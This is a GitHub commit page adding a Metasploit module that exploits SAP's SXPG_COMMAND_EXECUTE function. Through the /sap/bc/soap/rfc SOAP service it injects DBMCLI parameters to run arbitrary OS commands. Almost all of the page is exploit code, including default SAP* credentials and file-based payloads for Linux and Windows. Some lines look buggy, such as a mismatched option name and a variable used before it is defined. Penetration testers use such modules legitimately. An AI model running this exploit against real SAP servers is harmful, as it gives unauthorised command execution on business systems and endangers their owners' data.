Skip to content

Commit ca3240a

Browse files
author
jvazquez-r7
committed
Merge branch 'SXPG_COMMAND_EXEC_DBMCLI' of https://github.com/nmonkee/metasploit-framework into nmonkee-SXPG_COMMAND_EXEC_DBMCLI
2 parents a262312 + 564a32c commit ca3240a

File tree

2 files changed

+160
-0
lines changed

2 files changed

+160
-0
lines changed
7.14 KB
Binary file not shown.
Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16+
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17+
##
18+
19+
require 'msf/core'
20+
21+
class Metasploit4 < Msf::Auxiliary
22+
23+
include Msf::Exploit::Remote::HttpClient
24+
include Msf::Auxiliary::Report
25+
include Msf::Auxiliary::Scanner
26+
27+
def initialize
28+
super(
29+
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection',
30+
'Description' => %q{
31+
This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the
32+
use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
33+
},
34+
'References' =>
35+
[
36+
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ],
37+
[ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ]
38+
],
39+
'Author' =>
40+
[
41+
'nmonkee'
42+
],
43+
'License' => MSF_LICENSE
44+
)
45+
register_options(
46+
[
47+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
48+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
49+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
50+
OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]),
51+
OptString.new('CMD', [true, 'Command to run', "id"])
52+
], self.class)
53+
end
54+
55+
def run_host(ip)
56+
payload = create_payload(1)
57+
exec_command(ip,payload)
58+
payload = create_payload(2)
59+
exec_command(ip,payload)
60+
end
61+
62+
def create_payload(num)
63+
command = ""
64+
os = "ANYOS"
65+
if datastore['OS'].downcase == "linux"
66+
if num == 1
67+
command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
68+
command << datastore['CMD'].gsub(" ","\t")
69+
command << "\n"
70+
end
71+
command = "-ic /tmp/pwned.txt" if num == 2
72+
elsif datastore['OS'].downcase == "windows"
73+
if num == 1
74+
command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
75+
space = "%programfiles:~10,1%"
76+
command << datastore['COMMAND'].gsub(" ",space)
77+
end
78+
command = '-ic c:\\\pwn.out' if num == 2
79+
end
80+
data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
81+
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"
82+
data << '<env:Body>' + "\r\n"
83+
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n"
84+
data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n"
85+
data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n"
86+
data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' + "\r\n"
87+
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n"
88+
data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r\n"
89+
data << '</env:Body>' + "\r\n"
90+
data << '</env:Envelope>' + "\r\n"
91+
return data
92+
end
93+
94+
def exec_command(ip,data)
95+
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
96+
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
97+
begin
98+
res = send_request_raw(
99+
{
100+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
101+
'method' => 'POST',
102+
'data' => data,
103+
'headers' => {
104+
'Content-Length' => data.size.to_s,
105+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
106+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
107+
'Authorization' => 'Basic ' + user_pass,
108+
'Content-Type' => 'text/xml; charset=UTF-8'
109+
}
110+
}, 45)
111+
if res
112+
if res.code != 500 and res.code != 200
113+
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
114+
return
115+
elsif res.body =~ /faultstring/
116+
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
117+
0.upto(output.length-1) do |i|
118+
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
119+
end
120+
return
121+
end
122+
print_status("[SAP] #{ip}:#{rport} - got response")
123+
output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
124+
result = []
125+
0.upto(output.length-1) do |i|
126+
if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/
127+
#nothing
128+
elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/
129+
#nothing
130+
elsif output[i] =~ /External program terminated with exit code/
131+
#nothing
132+
else
133+
temp = output[i].gsub("&#62",">")
134+
temp_ = temp.gsub("&#34","\"")
135+
temp__ = temp_.gsub("&#39","'")
136+
result << temp__ + "\n"
137+
end
138+
end
139+
saptbl = Msf::Ui::Console::Table.new(
140+
Msf::Ui::Console::Table::Style::Default,
141+
'Header' => "[SAP] SXPG_COMMAND_EXEC dbmcli Command Injection",
142+
'Prefix' => "\n",
143+
'Postfix' => "\n",
144+
'Indent' => 1,
145+
'Columns' =>["Output"]
146+
)
147+
0.upto(result.length/2-1) do |i|
148+
saptbl << [result[i].chomp]
149+
end
150+
print (saptbl.to_s)
151+
return
152+
else
153+
print_error("[SAP] #{ip}:#{rport} - no response")
154+
end
155+
rescue ::Rex::ConnectionError
156+
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
157+
return
158+
end
159+
end
160+
end

0 commit comments

Comments
 (0)